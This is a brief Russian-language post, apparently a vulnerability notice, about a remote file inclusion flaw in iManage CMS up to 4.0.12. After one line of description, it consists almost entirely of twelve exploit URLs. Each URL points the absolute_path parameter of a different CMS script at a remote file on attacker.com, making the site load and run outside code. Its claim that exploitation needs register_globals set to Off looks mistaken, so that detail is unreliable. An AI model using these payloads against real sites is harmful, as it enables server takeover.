Уязвимость в iManage CMS

Сегодня была лпубликована уязвимость в CMS системе iManage CMS <= 4.0.12 . Уязвимость позволяет в итоге удаленно загрузить файл. Удачная эксплуатация требует «register_globals= Off «.
http://target.com/[path]/articles.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/contact.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/displaypage.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/faq.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/mainbody.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/news.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/registration.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/whosOnline.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/components/com_calendar.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/components/com_forum.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/components/minibb/index.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/modules/mod_calendar.php?absolute_path=http://attacker.com//inject.txt?